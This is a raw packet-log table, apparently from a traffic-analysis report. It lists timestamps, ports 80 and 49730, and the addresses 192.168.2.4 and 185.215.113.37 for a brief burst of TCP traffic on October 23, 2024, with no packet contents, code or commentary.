Oct 23, 2024 15:48:21.118243933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.118256092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.118256092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.118288040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.118294001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.118329048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.118343115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.118380070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.118423939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.118423939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.118432999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.118483067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.118515968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.118529081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.118529081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.118551016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.118591070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.118591070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.118602037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.118632078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.118669987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.118669987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.118680000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.118715048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.118743896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.118746996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.118779898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.118784904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.118792057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.118837118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.118871927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.118882895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.118882895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.118906975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.118928909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.118957043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.118957043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.118990898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.119002104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.119024992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.119052887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.119075060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.119102001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.119108915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.119143963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.119154930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.119154930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.119178057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.119196892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.119225979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.119230986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.119267941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.119290113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.119302988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.119340897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.119355917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.119364023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.119389057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.119402885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.119425058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.119432926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.119460106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.119492054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.119503975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.119503975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.119524002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.119559050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.119570017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.119570017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.119591951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.119626999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.119637012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.119637012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.119662046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.119694948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.119708061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.119708061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.119728088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.119760990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.119777918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.119777918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.119793892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.119828939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.119839907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.119839907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.119868040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.119901896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.119919062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.119919062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.119935036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.119967937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.119980097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.119980097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.120001078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.120034933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.120045900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.120045900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.120069027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.120101929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.120114088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.120114088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.120136023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.120170116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.120176077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.120176077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.120203972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.120238066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.120260954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.120260954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.120270967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.120310068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.120311975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.120311975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.120342970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.120377064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.120388031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.120388031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.120412111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.120445013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.120477915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.120506048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.120506048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.120512009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.120546103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.120560884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.120560884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.120579004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.120613098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.120646000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.120657921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.120657921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.120678902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.120712996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.120723963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.120723963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.120747089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.120779991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.120811939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.120825052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.120825052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.120846033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.120878935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.120889902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.120889902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.120917082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.120951891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.120985031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.120996952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.120996952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.121018887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.121052027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.121063948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.121063948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.121085882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.121119976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.121151924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.121174097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.121174097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.121186018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.121220112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.121232033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.121232033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.121253967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.121289015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.121323109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.121335030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.121335030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.121356964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.121391058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.121401072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.121401072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.121424913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.121469975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.121499062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.121515989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.121515989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.121532917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.121566057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.121575117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.121575117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.121599913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.121634007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.121665955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.121680021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.121680021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.121701002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.121731043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.121746063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.121746063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.121762991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.121797085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.121829033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.121849060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.121849060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.121861935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.121896029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.121906042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.121906042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.121928930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.121962070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.121997118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.122006893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.122006893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.122030973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.122066975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.122077942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.122077942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.122100115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.122133970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.122167110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.122179985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.122179985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.122200966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.122234106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.122246981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.122246981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.122268915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.122306108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.122314930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.122314930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.122339964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.122373104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.122406006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.122426033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.122426033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.122440100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.122473001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.122513056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.122531891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.122531891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.122550011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.122584105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.122617006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.122627974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.122627974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.122653008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.122687101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.122694016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.122694016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.122720003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.122749090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.122755051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.122790098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.122808933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.122813940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.122829914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.122843981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.122857094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.122858047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.122859955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.122875929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.122889996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.122894049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.122894049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.122905970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.122920036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.122925043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.122936964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.122936964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.122952938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.122968912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.122971058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.122987032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.123002052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.123007059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.123007059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.123019934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.123035908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.123047113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.123059034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.123070955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.123079062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.123079062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.123083115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.123096943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.123109102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.123117924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.123125076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.123125076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.123344898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.155814886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.155888081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.155955076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.155961037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.155997992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.156007051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.156032085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.156045914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.156080961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.156089067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.156089067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.156116962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.156127930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.156152010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.156187057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.156199932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.156199932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.156222105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.156256914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.156270981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.156270981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.156287909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.156327963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.156353951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.156353951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.156362057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.156397104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.156407118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.156408072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.156430960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.156457901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.156465054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.156498909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.156517982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.156517982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.156537056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.156572104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.156585932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.156585932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.156605959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.156640053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.156650066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.156650066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.156673908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.156697989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.156708002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.156742096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.156750917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.156750917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.156776905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.156814098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.156821012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.156821012 CEST	49730	80	192.168.2.4	185.215.113.37
